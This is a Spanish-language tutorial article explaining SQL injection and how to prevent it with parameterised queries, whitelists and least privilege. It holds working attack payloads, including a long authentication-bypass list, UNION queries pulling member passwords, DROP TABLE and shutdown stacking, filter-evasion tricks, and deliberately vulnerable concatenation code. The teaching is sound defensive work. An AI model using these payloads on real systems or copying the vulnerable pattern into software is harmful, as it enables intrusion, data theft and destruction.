Las inyecciones SQL (SQLi) son el tipo de ataque más estudiado y más fácil de entender en un sitio o aplicación web. Sin embargo, sigue siendo extrañamente común hoy en día. El OWASP (Open Web Application Security Project) menciona las inyecciones SQL en su OWASP Top 10 2017 como la amenaza número uno para la seguridad de las aplicaciones web, y no ha cambiado mucho en cuatro años (manteniéndose en la posición 3 del TOP para 2021).
Dejarse atrapar por la inyección SQL (SQL inyection) es como meterse en un jaque mate infantil en ajedrez. ¿Qué es lo que hace que este clásico truco de pirateo sea tan eficaz? Vayamos al fondo del asunto.
Todo Acerca de Inyección SQL
El Origen de la Vulnerabilidad: Lenguaje SQL
¿Por qué es posible la inyección SQL?
Cuando un usuario introduce y envía datos en un sitio web, estos datos entran en la aplicación web, que a su vez los utiliza cuando accede a la base de datos.
Supongamos que tenemos una página web de una tienda online y un usuario introduce el nombre de un producto en la barra de búsqueda. Para consultar datos en bases de datos relacionales se utiliza SQL (“structured query language” o lenguaje de consulta estructurado), un lenguaje especial similar al lenguaje natural (español). Este lenguaje está normalizado (la norma más reciente es SQL:2016), y sus comandos básicos son los mismos para los distintos proveedores de SGBD: Microsoft, Oracle, MySQL, PostgreSQL y otros.
Por ejemplo:
CREATE TABLE Users (
Id int PRIMARY KEY,
Name varchar(100) NOT NULL,
CreationDate datetime NOT NULL)
Esta consulta (consultas en SQL) crea una tabla Users
en la base de datos con tres campos: el identificador entero (Id
), el nombre (Name
) y la fecha de creación del registro de usuario (CreationDate
).
DROP TABLE Users
Esta consulta elimina la tabla con los usuarios de la base de datos (no los datos, es decir, las filas de la tabla, sino la tabla en sí; la consulta DELETE
se utiliza para eliminar filas; véase más adelante):
SELECT
Id,
Name
FROM
Users
WHERE
CreationDate > '2023-02-01'
Lee todos los usuarios creados después del 1 de febrero de 2023 (en MS SQL Server).
DELETE FROM Usuarios WHERE Id > 10
Elimina todos los usuarios con un id superior a 10
UPDATE Users SET CreationDate = '2022-12-01'
Establece la fecha de creación de todos los usuarios (porque no existe la condición WHERE) en el 1 de diciembre de 2022.
Así, la aplicación web (sitio web) utiliza los parámetros introducidos por el usuario en el sitio para acceder a sus datos.
Por ejemplo, si un usuario busca portátiles en nuestro sitio web e introduce la palabra “hacking” en la barra de búsqueda, la consulta correspondiente podría tener un aspecto (simplificado):
SELECT
Id,
Name,
Category
FROM
Blog
WHERE
Name LIKE 'hacking%'
La sentencia LIKE
y el carácter comodín (%
) se utilizan para especificar una condición en una subcadena.
En consecuencia, el fragmento de programa que forma esta consulta para su ejecución se forma, en el caso más sencillo, a partir de un patrón de comando SELECT
con un valor sustituido de entrada del usuario (C#):
var selectProductQuery =
@"
SELECT
Id,
Name,
Price
FROM
Products
WHERE
Name LIKE '" + productName + "%'";
Definición: ¿Qué es la Inyección SQL?
La inyección SQL es una técnica de inyección de código utilizada para modificar o extraer datos de bases de datos SQL. Mediante la inserción de sentencias SQL especializadas en un campo de entrada, un atacante es capaz de ejecutar comandos que recuperan datos de la base de datos, destruyen datos sensibles o realizan otras conductas manipulativas.
Si el sitio está mal protegido, un hacker podría hacer muchos intentos, pero aun así conseguir acceso a los privilegios de administrador.
Ejemplo de Ataque SQLi
Ahora supongamos que el usuario es un atacante e introduce un fragmento malicioso de código SQL, por ejemplo, en lugar del nombre del producto, en el cuadro de búsqueda:
a'; DROP TABLE Products; --
La consulta resultante adoptará entonces la forma de dos comandos consecutivos y un comentario:
SELECT
Id,
Name,
Price
FROM
Products
WHERE
Name LIKE '%a';
DROP TABLE Products;
-- %'
Los comentarios en SQL tienen la forma:
/*
es una multilínea*/
comentario--
comentario de una línea
Entonces, ¿qué vemos? El texto introducido por el usuario en el formulario de búsqueda convirtió el comando SQL para seleccionar productos de una tabla en dos consultas: una sin sentido y otra maliciosa, borrando la tabla de productos de la base de datos y haciendo inviable nuestra aplicación (sitio web).
Por supuesto, este es un ejemplo simplificado que asume que un comando consistente en varias consultas será ejecutado como una secuencia de estas consultas, que los datos del usuario no son validados por el framework web, etc., pero la esencia de cualquier inyección SQL es exactamente esta: El atacante inyecta (“inyecta” – de ahí el nombre de “inyección“) código malicioso en un formulario de entrada normal o en una cadena de direcciones, forzando a la aplicación web a realizar acciones autodestructivas o a dar acceso a un atacante externo a datos no autorizados.
Ejemplos Reales de Inyección SQL
Los ataques de inyección SQL más comunes son de dos tipos: SQLi basado en booleanos y SQLi basado en UNION.
Ataque booleano
Una consulta se introduce en el navegador de la siguiente manera:
https://ejemplo.com/showItem?item=1%20or%201=1
Esto puede forzar al backend de la aplicación a ejecutar una consulta SELECT
con una condición siempre verdadera, lo que puede llevar a la revelación no autorizada de datos.
Ataque basado en UNION
La palabra clave UNION
se utiliza para combinar los resultados de dos o más consultas en un único resultado.
Por ejemplo, tenemos los siguientes productos:
Id | Name | Price |
1 | Cuaderno | 23 |
2 | Lapicero | 12 |
Haciendo una consulta:
SELECT
Id,
Name,
Price
FROM
Products
UNION
SELECT
NULL,
CURRENT_USER,
NULL
Obtenemos este resultado (para la base de datos MS SQL Server):
. | ID | Name | Price |
---|---|---|---|
1 | 1 | Cuaderno | 23 |
2 | 2 | Lapicero | 12 |
3 | NULL | dbo | NULL |
Utilizando la sentencia UNION
, un atacante puede intentar atacar la página de búsqueda de productos:
https://ejemplo.com/showProduct?id=1′ union select NULL,CURRENT_USER,NULL —
Lo que, con un poco de suerte, puede revelarle información sensible, como el nombre de la base de datos, el nombre del usuario que se conecta a la base de datos, etc. Es evidente que el resultado de un ataque de este tipo podría tener consecuencias catastróficas para la aplicación web: revelación de los datos de los usuarios, destrucción completa de la aplicación y de sus datos.
Más Ejemplos de Ataques SQLi
También se pueden destacar otros tipos básicos de inyección SQL:
- Basado en errores. Permite recuperar información sobre la base de datos, las tablas y los datos a partir del texto de error del SGBD.
- Time-Based Blind SQL Injection: Similar al ataque de tipo booleano, manipulando el tiempo de respuesta de la base de datos.
- Out-of-band SQL injection (OOB SQLi): Un tipo de ataque muy raro y específico, basado en peculiaridades específicas de las bases de datos.
Lo detallaremos más adelante. Primero veamos el ejemplo más sencillo de código críticamente vulnerable a SQLi:
userName = getRequestString("UserName");
request = "SELECT * FROM Users WHERE UserName = " + userName;
Presentando un antiejemplo de este tipo, es posible comprender el principio en el que se basan los ataques que analizaremos a continuación.
Comentarios
El uso de comentarios de una sola línea te permite ignorar la parte de la petición que viene después de tu inyección. Por ejemplo, si se introduce una solicitud de admin en el campo vulnerable Username (Nombre de usuario), se permitirá el acceso al recurso como administrador, ya que se comentará la verificación de la contraseña. Por supuesto, este tipo de vulnerabilidad es muy rara hoy en día, pero merece la pena tenerla en cuenta.
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
Los comentarios multilínea pueden servir para comprobar o identificar el tipo de base de datos. Por ejemplo, estas consultas eludirán el primer análisis textual:
DROP/*comentario*/sampletable
DR/**/OP/*eludir.la.lista.negra*/sampletable
Manipulación de cadenas
Hay varias formas más avanzadas de eludir las listas negras. Por ejemplo, la concatenación de cadenas puede utilizarse contra el filtro de comillas:
#SQL Server
SELECT login + '-' + password FROM members
#MySQL
SELECT CONCAT(login, password) FROM members
En MySQL puede representar las cadenas en forma hexadecimal, utilizando la función HEX()
, o introducirlas carácter por carácter para trabajar con patrones complejos:
//0x633A5C626F6F742E696E69 == c:\boot.ini
SELECT CONCAT('0x','633A5C626F6F742E696E69'))
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
Anulación de la autenticación
Existe un diccionario estándar que contiene consultas básicas para eludir una forma vulnerable de autenticación. (Fuente: pentestlab)
' or 1=1
' or 1=1--
' or 1=1#
' or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Inyección UNION
UNION es un comando SQL que permite combinar verticalmente datos de diferentes tablas en una sola tabla. Es uno de los comandos de inyección clásicos más populares y peligrosos.
Supongamos que un sitio tiene una lista de productos con una cadena de búsqueda vulnerable. Entonces, haciendo coincidir el número correcto de columnas y definiendo sus nombres, casi cualquier dato puede salir a través de UNION.
SELECT name, price FROM products UNION ALL SELECT name, pass FROM members
#Esta consulta recuperará los datos de la tabla y encontrará la tabla de usuarios
UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables)
Consultas secuenciales
Si el servicio objetivo se ejecuta en SQL Server y ASP/PHP o en PostgreSQL y PHP, se puede utilizar un simple signo ‘;
‘ para llamar a consultas maliciosas de forma secuencial:
#Borrar una tabla
SELECT * FROM products WHERE productName = ""; DROP users--
#Apagar SQL Server
SELECT * FROM products WHERE productName = ""; shutdown –
Basado en errores
Para evitar este tipo de ataque, basta con prohibir la visualización de errores en la pantalla de tu aplicación. Sin embargo, utilicemos un ejemplo para mostrar cómo puede perjudicarte ignorar esta medida.
Si ejecutas las siguientes consultas de SQL Server una a una, podrás determinar los nombres de las columnas del texto de error:
' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
.....
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
Si los errores dejan de aparecer, entonces las columnas han terminado
Inyección SQL a ciegas
En una aplicación más o menos bien hecha, el atacante no verá ningún error ni el resultado de un ataque UNION. Aquí es donde se trata de actuar a ciegas.
Expresiones condicionales
Los ataques mediante IF
y WHERE
son la base del método ciego. Son una de las razones por las que las sentencias que se utilizan deben estar codificadas en el programa y no generarse aleatoriamente. La sintaxis será diferente para las distintas bases:
#MySQL
IF(condition,true-part,false-part)
#SQL Server
IF condition true-part ELSE false-part
#Oracle
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;
#PostgreSQL
SELECT CASE WHEN condition THEN true-part ELSE false-part END;
Time-Based Blind SQL Injection
Si el atacante no observa ninguna diferencia en la respuesta del servidor, se trata de un ataque completamente ciego. Un ejemplo sería utilizar las funciones SLEEP o WAIT FOR DALAY: (puedes consultar más información aquí, o la publicación de Chema Alonso)
SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15'
Posibles daños
Los ejemplos concretos y los matices son muy numerosos, no vamos a enumerarlos todos. Lo principal que hay que recordar es que combinando estas técnicas y varias funciones específicas, un atacante puede obtener acceso completo a la base e incluso a la línea de comandos.
Protección Contra la Inyección SQL
A continuación, analicemos diferentes técnicas y consejos para prevenir un ataque SQLi:
Parametrizarlo
La regla más importante es que los datos enviados por el usuario no deben intervenir en la formación del texto de la consulta SQL, al menos no directamente. Para ello se utilizan consultas parametrizadas (preparadas).
Por lo tanto, en lugar de sustituir (concatenar) la entrada del usuario, debe utilizar parámetros, por ejemplo, en el caso de C#, en lugar del fragmento comentado anteriormente:
var selectProductQuery =
@"
SELECT
Id,
Name,
Price
FROM
Products
WHERE
Name LIKE '" + productName + "%'";
command.CommandText = selectProductQuery;
var reader = command.ExecuteReader();
Debe utilizarse el siguiente código:
command.CommandText =
@"
SELECT
Id,
Name,
Price
FROM
Products
WHERE
Name LIKE @p_productName";
command.Parameters.AddWithValue("p_productName", productName);
var reader = command.ExecuteReader();
En este caso, sea cual sea el texto que el usuario introduzca en el campo de búsqueda de productos, la aplicación buscará ese texto como nombre del producto, y si el texto contiene un fragmento irrelevante (por ejemplo, con expresiones SQL), no se producirá ninguna inyección y simplemente no se encontrará el producto.
Utilizar procedimientos almacenados
Técnicamente, esta regla es idéntica a la anterior: la entrada del usuario no se utiliza cuando se genera dinámicamente una consulta SQL. El código del procedimiento almacenado es inmutable y se almacena en la propia base de datos, no en el código de la aplicación.
Utilizar una lista blanca de validación
En algunos casos no es posible utilizar la parametrización de consultas.
Por ejemplo, el nombre de la tabla de la que se toma SELECT
no puede ser un parámetro, en cuyo caso el propio texto de la consulta se forma a partir de la entrada del usuario.
En este caso necesitamos limitar la lista de valores válidos que pueden provenir del usuario (“lista blanca”).
Por ejemplo, si el valor Customers procede de la lista desplegable del formulario web, seleccionamos de la tabla Customers, y si el valor es Supplier, seleccionamos de la tabla Suppliers.
Pero si aparece el valor System_Users
, que no debería, probablemente significa que estamos ante un intruso que está utilizando Swagger o un programa similar para intentar probar nuestra aplicación:
switch (param)
{
case "Customers":
tableName = "Customers";
break;
case "Suppliers":
tableName = "Suppliers";
break;
default:
throw new InputValidationException("Unexpected value.");
Validar la entrada del usuario
En general, cuando se trate de entradas de usuario hay que guiarse por el principio de que “el usuario es siempre un atacante potencial“. El backend no puede confiar ciegamente en nada que provenga del cliente, incluso si la aplicación cliente valida la entrada del usuario. Un atacante puede utilizar Swagger, scripts automatizados y otros medios para superar la validación del cliente.
Privilegios limitados
El usuario del sistema (cuenta del sistema) que accede a los datos debe tener el menor número posible de privilegios en el servidor.
Está descartado que esta cuenta pueda leer y crear archivos no relacionados con la aplicación y realizar otras actividades críticas para la seguridad.
Comprobar
Siempre es una buena idea probar la resistencia de tu aplicación, incluso contra ataques SQLi. Una de las utilidades más potentes y antiguas diseñadas para encontrar y corregir vulnerabilidades SQLi es https://sqlmap.org.
Aquí tienes otras herramientas para testear tu aplicación web en busca de inyecciones SQL.
- Sqlifinder: Escáner de Vulnerabilidad de Inyección SQL
- V3n0M-Scanner: Escáner Pentesting para SQLi
- jSQL Injection: Inyección Automática de Bases de Datos SQL
Conclusión y Video
En este artículo hemos analizado el tipo de ataque más sencillo y común contra un sitio web: la inyección SQL. Tomemos nota de los principales temas de debate:
- La esencia del ataque es un intento por parte de un atacante de inyectar código SQL malicioso a través de un canal de entrada legítimo (formulario web, barra de direcciones del navegador).
- La forma más eficaz de protegerse contra la inyección SQL es no utilizar la entrada del usuario al construir la consulta SQL, sino sólo como valor de parámetro.
- Siempre es una buena idea validar (comprobar) la entrada del usuario en el backend. El usuario es siempre un intruso.
- Sqlmap es una herramienta probada para detectar vulnerabilidades SQLi, y una “inspección” regular de tu aplicación web con ella es bienvenida.
Por supuesto, se podrían escribir libros enteros sobre SQLi, pero hemos intentado explicar los principios clave con ejemplos.
Un vídeo de calidad con más información sobre el tema:
Si te ha aparecido importante esta información, no dudes en compartir esta publicación 🙂